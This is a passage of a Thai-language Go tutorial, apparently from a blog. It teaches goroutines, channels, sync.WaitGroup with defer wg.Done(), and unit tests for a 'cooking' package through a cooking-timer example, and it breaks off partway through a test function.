&#xE08;&#xE30;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08; &#xE08;&#xE36;&#xE07;&#xE44;&#xE21;&#xE48;&#xE43;&#xE2A;&#xE48; go &#xE2B;&#xE19;&#xE49;&#xE32; consumer()</p><pre><code>func producer(ch chan int) {
    for i := 0; i &lt; 5; i++ {
        ch &lt;- i  // &#xE2A;&#xE48;&#xE07;&#xE04;&#xE48;&#xE32; i &#xE40;&#xE02;&#xE49;&#xE32; channel
    }
    close(ch)  // &#xE1B;&#xE34;&#xE14; channel &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE23;&#xE1A;
}

func consumer(ch chan int) {
    for v := range ch {  // &#xE23;&#xE31;&#xE1A;&#xE04;&#xE48;&#xE32;&#xE08;&#xE32;&#xE01; channel &#xE08;&#xE19;&#xE01;&#xE27;&#xE48;&#xE32;&#xE08;&#xE30;&#xE1B;&#xE34;&#xE14;
        fmt.Println(&quot;&#xE23;&#xE31;&#xE1A;&#xE04;&#xE48;&#xE32;:&quot;, v)
    }
}

func main() {
    ch := make(chan int)
    go producer(ch)
    consumer(ch)
}</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-04-at-11.30.46-PM.png" class="kg-image" alt loading="lazy" width="1438" height="198" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-04-at-11.30.46-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-04-at-11.30.46-PM.png 1000w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-04-at-11.30.46-PM.png 1438w" sizes="(min-width: 720px) 720px"></figure><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE1B;&#xE23;&#xE30;&#xE22;&#xE38;&#xE01;&#xE15;&#xE4C;&#xE43;&#xE0A;&#xE49; Channel &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49; Goroutine &#xE41;&#xE08;&#xE49;&#xE07;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; main() &#xE22;&#xE31;&#xE07;&#xE04;&#xE07;&#xE23;&#xE2D;&#xE43;&#xE2B;&#xE49; Function &quot;prepareDish&quot; &#xE17;&#xE33;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE17;&#xE31;&#xE49;&#xE07; 2 &#xE08;&#xE32;&#xE19;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE08;&#xE30;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14; &#xE42;&#xE14;&#xE22;&#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; time.Sleep(3 * time.Second)</p><pre><code>package main

import (
    &quot;fmt&quot;
    &quot;time&quot;
)

func prepareDish(dish string, duration time.Duration, done chan bool) {
    fmt.Printf(&quot;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE17;&#xE33;%s...\n&quot;, dish)
    time.Sleep(duration)
    fmt.Printf(&quot;%s&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE41;&#xE25;&#xE49;&#xE27;!\n&quot;, dish)
    done &lt;- true
}

func main() {
    start := time.Now()
    done := make(chan bool)

    go prepareDish(&quot;&#xE1C;&#xE31;&#xE14;&#xE01;&#xE30;&#xE40;&#xE1E;&#xE23;&#xE32;&quot;, 2*time.Second, done)
    go prepareDish(&quot;&#xE15;&#xE49;&#xE21;&#xE22;&#xE33;&#xE01;&#xE38;&#xE49;&#xE07;&quot;, 3*time.Second, done)

    // &#xE23;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2A;&#xE2D;&#xE07;&#xE08;&#xE32;&#xE19;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;
    // &#xE40;&#xE23;&#xE32;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE19;&#xE43;&#xE08;&#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE23;&#xE31;&#xE1A;&#xE21;&#xE32; (&#xE40;&#xE1E;&#xE23;&#xE32;&#xE30;&#xE40;&#xE23;&#xE32;&#xE43;&#xE0A;&#xE49; bool channel &#xE40;&#xE1E;&#xE35;&#xE22;&#xE07;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE48;&#xE07;&#xE2A;&#xE31;&#xE0D;&#xE0D;&#xE32;&#xE13;)
    &lt;-done
    &lt;-done

    // &#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE41;&#xE25;&#xE30;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;
    elapsedTime := time.Since(start).Seconds()
    fmt.Printf(&quot;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;: %.2f &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;\n&quot;, elapsedTime)
}</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-04-at-11.53.06-PM.png" class="kg-image" alt loading="lazy" width="1308" height="214" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-04-at-11.53.06-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-04-at-11.53.06-PM.png 1000w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-04-at-11.53.06-PM.png 1308w" sizes="(min-width: 720px) 720px"></figure><p>&#xE41;&#xE15;&#xE48;&#xE27;&#xE34;&#xE18;&#xE35;&#xE19;&#xE35;&#xE49;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; Program &#xE14;&#xE39;&#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;&#xE02;&#xE36;&#xE49;&#xE19; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE22;&#xE31;&#xE07;&#xE21;&#xE35;&#xE27;&#xE34;&#xE18;&#xE35;&#xE17;&#xE35;&#xE48;&#xE07;&#xE48;&#xE32;&#xE22;&#xE01;&#xE27;&#xE48;&#xE32;&#xE19;&#xE31;&#xE49;&#xE19;&#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; WaitGroup</p><p><strong>WaitGroup</strong> &#xE40;&#xE1B;&#xE47;&#xE19;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE43;&#xE19; Go &#xE17;&#xE35;&#xE48; <strong>Import &#xE08;&#xE32;&#xE01; Package &quot;sync&quot; </strong>&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE23;&#xE2D;&#xE43;&#xE2B;&#xE49; Goroutine &#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08; &#xE01;&#xE48;&#xE2D;&#xE19;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE37;&#xE48;&#xE19; &#xE46; &#xE15;&#xE48;&#xE2D; <strong>&#xE21;&#xE31;&#xE19;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19; &quot;&#xE15;&#xE31;&#xE27;&#xE19;&#xE31;&#xE1A;&#xE16;&#xE2D;&#xE22;&#xE2B;&#xE25;&#xE31;&#xE07;&quot;</strong> &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Goroutine &#xE42;&#xE14;&#xE22;&#xE21;&#xE35;&#xE27;&#xE34;&#xE18;&#xE35;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><pre><code>wg.Add(delta int)
	&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19; goroutines &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE2D;
    
wg.Done()
	&#xE25;&#xE14;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19; goroutines &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE2D;&#xE25;&#xE07; 1 &#xE21;&#xE31;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE39;&#xE48;&#xE01;&#xE31;&#xE1A; defer
    
wg.Wait()
	&#xE1A;&#xE25;&#xE47;&#xE2D;&#xE01;&#xE08;&#xE19;&#xE01;&#xE27;&#xE48;&#xE32;&#xE15;&#xE31;&#xE27;&#xE19;&#xE31;&#xE1A;&#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE28;&#xE39;&#xE19;&#xE22;&#xE4C;</code></pre><p>&#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;<strong> &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; defer wg.Done() &#xE40;&#xE1B;&#xE47;&#xE19;&#xE41;&#xE19;&#xE27;&#xE1B;&#xE0F;&#xE34;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE17;&#xE35;&#xE48;&#xE14;&#xE35;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE31;&#xE19;&#xE27;&#xE48;&#xE32; wg.Done() &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE2A;&#xE34;&#xE49;&#xE19; &#xE44;&#xE21;&#xE48;&#xE27;&#xE48;&#xE32;&#xE08;&#xE30;&#xE40;&#xE01;&#xE34;&#xE14;&#xE2D;&#xE30;&#xE44;&#xE23;&#xE02;&#xE36;&#xE49;&#xE19;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21;</strong></p><p>&#xE43;&#xE19;&#xE01;&#xE23;&#xE13;&#xE35;&#xE17;&#xE35;&#xE48; Function &#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;&#xE21;&#xE32;&#xE01; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE21;&#xE35;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE08;&#xE38;&#xE14;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE32;&#xE08;&#xE08;&#xE30; return &#xE2D;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01; Function &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; defer &#xE08;&#xE30;&#xE25;&#xE14;&#xE42;&#xE2D;&#xE01;&#xE32;&#xE2A;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE25;&#xE37;&#xE21;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01; wg.Done() &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE32;&#xE01;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23; Panic &#xE40;&#xE01;&#xE34;&#xE14;&#xE02;&#xE36;&#xE49;&#xE19;&#xE43;&#xE19; Function, wg.Done() &#xE08;&#xE30;&#xE22;&#xE31;&#xE07;&#xE04;&#xE07;&#xE16;&#xE39;&#xE01;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;</p><pre><code>package main

import (
	&quot;fmt&quot;
	&quot;sync&quot;
	&quot;time&quot;
)

func PrintNumbers(prefix string, count int) {
	for i := 1; i &lt;= count; i++ {
		fmt.Printf(&quot;%s: %d\n&quot;, prefix, i)
		time.Sleep(time.Millisecond * 100)
	}
}

func main() {
	var wg sync.WaitGroup
	wg.Add(2)

	go func() {
		defer wg.Done()
		PrintNumbers(&quot;X&quot;, 3)
	}()

	go func() {
		defer wg.Done()
		PrintNumbers(&quot;Y&quot;, 3)
	}()

	wg.Wait()
}</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-05-at-12.08.38-AM.png" class="kg-image" alt loading="lazy" width="1538" height="242" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-05-at-12.08.38-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-05-at-12.08.38-AM.png 1000w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-05-at-12.08.38-AM.png 1538w" sizes="(min-width: 720px) 720px"></figure><p>WaitGroup &#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE21;&#xE37;&#xE2D;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Goroutine &#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE21;&#xE32;&#xE01; &#xE42;&#xE14;&#xE22;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE23;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE23;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE07;&#xE32;&#xE19;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE2A;&#xE34;&#xE49;&#xE19;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE15;&#xE48;&#xE2D; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE01;&#xE32;&#xE23;&#xE08;&#xE33;&#xE25;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49; Function &quot;main&quot; &#xE08;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE2B;&#xE25;&#xE31;&#xE07; Function &quot;prepareDish&quot; &#xE17;&#xE33;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2A;&#xE2D;&#xE07;&#xE08;&#xE32;&#xE19;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE04;&#xE23;&#xE31;&#xE1A;</p><pre><code>package main

import (
    &quot;fmt&quot;
    &quot;time&quot;
    &quot;sync&quot;
)

func prepareDish(dish string, duration time.Duration, wg *sync.WaitGroup) {
    defer wg.Done()  // &#xE41;&#xE08;&#xE49;&#xE07;&#xE27;&#xE48;&#xE32; goroutine &#xE19;&#xE35;&#xE49;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE41;&#xE25;&#xE49;&#xE27;
    fmt.Printf(&quot;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE17;&#xE33;%s...\n&quot;, dish)
    time.Sleep(duration)
    fmt.Printf(&quot;%s&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE41;&#xE25;&#xE49;&#xE27;!\n&quot;, dish)
}

func main() {
    start := time.Now()

    var wg sync.WaitGroup

    wg.Add(2)  // &#xE1A;&#xE2D;&#xE01;&#xE27;&#xE48;&#xE32;&#xE40;&#xE23;&#xE32;&#xE21;&#xE35; 2 goroutines &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE2D;
    go prepareDish(&quot;&#xE1C;&#xE31;&#xE14;&#xE01;&#xE30;&#xE40;&#xE1E;&#xE23;&#xE32;&quot;, 2*time.Second, &amp;wg)
    go prepareDish(&quot;&#xE15;&#xE49;&#xE21;&#xE22;&#xE33;&#xE01;&#xE38;&#xE49;&#xE07;&quot;, 3*time.Second, &amp;wg)

    wg.Wait()  // &#xE23;&#xE2D;&#xE08;&#xE19;&#xE01;&#xE27;&#xE48;&#xE32;&#xE17;&#xE38;&#xE01; goroutine &#xE08;&#xE30;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;

    fmt.Printf(&quot;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;: %.2f &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;\n&quot;, time.Since(start).Seconds())
}</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-05-at-12.10.47-AM.png" class="kg-image" alt loading="lazy" width="1318" height="210" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-05-at-12.10.47-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-05-at-12.10.47-AM.png 1000w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-05-at-12.10.47-AM.png 1318w" sizes="(min-width: 720px) 720px"></figure><p>&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE40;&#xE1A;&#xE37;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE49;&#xE19;</p><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; Package &quot;cooking&quot; &#xE41;&#xE22;&#xE01;&#xE15;&#xE48;&#xE32;&#xE07;&#xE2B;&#xE32;&#xE01; &#xE41;&#xE25;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE21;&#xE31;&#xE19;&#xE43;&#xE19; Program &#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE04;&#xE23;&#xE31;&#xE1A; &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Project &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;&#xE04;&#xE23;&#xE31;&#xE1A;</p><pre><code>myproject/
&#x251C;&#x2500;&#x2500; cmd
&#x2502;&#xA0;&#xA0; &#x2514;&#x2500;&#x2500; main.go
&#x251C;&#x2500;&#x2500; go.mod
&#x2514;&#x2500;&#x2500; internal
    &#x2514;&#x2500;&#x2500; cooking
        &#x251C;&#x2500;&#x2500; cookmeals.go
        &#x2514;&#x2500;&#x2500; cookmeals_test.go</code></pre><p><strong>cookmeals.go</strong> &#xE04;&#xE37;&#xE2D; &#xE44;&#xE1F;&#xE25;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A; Code &#xE43;&#xE19; Package &quot;cooking&quot; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35; Function &quot;PrepareDish&quot; &#xE17;&#xE35;&#xE48;&#xE08;&#xE30; Test</p><pre><code>// cookmeals.go
package cooking

import (
    &quot;fmt&quot;
    &quot;sync&quot;
    &quot;time&quot;
)

func PrepareDish(dish string, duration time.Duration, wg *sync.WaitGroup) {
    defer wg.Done()
    fmt.Printf(&quot;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE17;&#xE33;%s...\n&quot;, dish)
    time.Sleep(duration)
    fmt.Printf(&quot;%s&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE41;&#xE25;&#xE49;&#xE27;!\n&quot;, dish)
}</code></pre><p><strong>cookmeals_test.go</strong> &#xE04;&#xE37;&#xE2D;&#xE44;&#xE1F;&#xE25;&#xE4C; Test &#xE0B;&#xE36;&#xE48;&#xE07;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19; Package &#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19;&#xE01;&#xE31;&#xE1A; Code &#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;</p><p>Function &quot;<strong>TestPrepareDish</strong>&quot; &#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><p>&#xE43;&#xE19; TestPrepareDish<strong> </strong>&#xE40;&#xE23;&#xE32;&#xE41;&#xE1A;&#xE48;&#xE07;&#xE01;&#xE32;&#xE23; Test &#xE40;&#xE1B;&#xE47;&#xE19; 2 &#xE01;&#xE23;&#xE13;&#xE35; &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; t.Run() &#xE04;&#xE37;&#xE2D;</p><p><strong>Test Case 1</strong> &#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE08;&#xE32;&#xE19; (&#xE1C;&#xE31;&#xE14;&#xE01;&#xE30;&#xE40;&#xE1E;&#xE23;&#xE32; 2 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;) &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE19;&#xE49;&#xE2D;&#xE22; 2 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;</p><p><strong>Test Case 2</strong> &#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE2A;&#xE2D;&#xE07;&#xE08;&#xE32;&#xE19;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19; (&#xE1C;&#xE31;&#xE14;&#xE01;&#xE30;&#xE40;&#xE1E;&#xE23;&#xE32; 2 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35; &#xE41;&#xE25;&#xE30;&#xE15;&#xE49;&#xE21;&#xE22;&#xE33;&#xE01;&#xE38;&#xE49;&#xE07; 3 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;) &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE19;&#xE49;&#xE2D;&#xE22; 3 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35; (&#xE40;&#xE27;&#xE25;&#xE32;&#xE02;&#xE2D;&#xE07;&#xE08;&#xE32;&#xE19;&#xE17;&#xE35;&#xE48;&#xE19;&#xE32;&#xE19;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE38;&#xE14;) &#xE41;&#xE25;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE19;&#xE49;&#xE2D;&#xE22;&#xE01;&#xE27;&#xE48;&#xE32; 5 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35; (&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE22;&#xE37;&#xE19;&#xE22;&#xE31;&#xE19;&#xE27;&#xE48;&#xE32;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19;&#xE08;&#xE23;&#xE34;&#xE07;) &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;</p><pre><code>// cookmeals_test.go
package cooking

import (
    &quot;sync&quot;
    &quot;testing&quot;
    &quot;time&quot;
)

func TestPrepareDish(t *testing.T) {
    t.Run(&quot;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE08;&#xE32;&#xE19;&quot;, func(t *testing.T) {
        var wg sync.WaitGroup
        wg.Add(1)

        start := time.Now()
        go PrepareDish(&quot;&#xE1C;&#xE31;&#xE14;&#xE01;&#xE30;&#xE40;&#xE1E;&#xE23;&#xE32;&quot;, 2*time.Second, &amp;wg)
        wg.Wait()
        duration := time.Since(start)

        if duration &lt; 2*time.Second {
            t.Errorf(&quot;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE19;&#xE49;&#xE2D;&#xE22;&#xE40;&#xE01;&#xE34;&#xE19;&#xE44;&#xE1B; &#xE04;&#xE32;&#xE14;&#xE2B;&#xE27;&#xE31;&#xE07; &gt;= 2 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;, &#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A; %v&quot;, duration)
        }
    })

    t.Run(&quot;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE2A;&#xE2D;&#xE07;&#xE08;&#xE32;&#xE19;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19;&quot;, func(t *testing.T) {
        var wg sync.WaitGroup
        wg.Add(2)

        start := time.Now()
        go PrepareDish(&quot;&#xE1C;&#xE31;&#xE14;&#xE01;&#xE30;&#xE40;&#xE1E;&#xE23;&#xE32;&quot;, 2*time.Second, &amp;wg)
        go PrepareDish(&quot;&#xE15;&#xE49;&#xE21;&#xE22;&#xE33;&#xE01;&#xE38;&#xE49;&#xE07;&quot;, 3*time.Second, &amp;wg)
        wg.Wait()
        duration := time.Since(start)

        if duration &lt; 3*time.Second {
            t.Errorf(&quot;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE19;&#xE49;&#xE2D;&#xE22;&#xE40;&#xE01;&#xE34;&#xE19;&#xE44;&#xE1B; &#xE04;&#xE32;&#xE14;&#xE2B;&#xE27;&#xE31;&#xE07; &gt;= 3 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;, &#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A; %v&quot;, duration)
        }
        if duration &gt;= 5*time.Second {
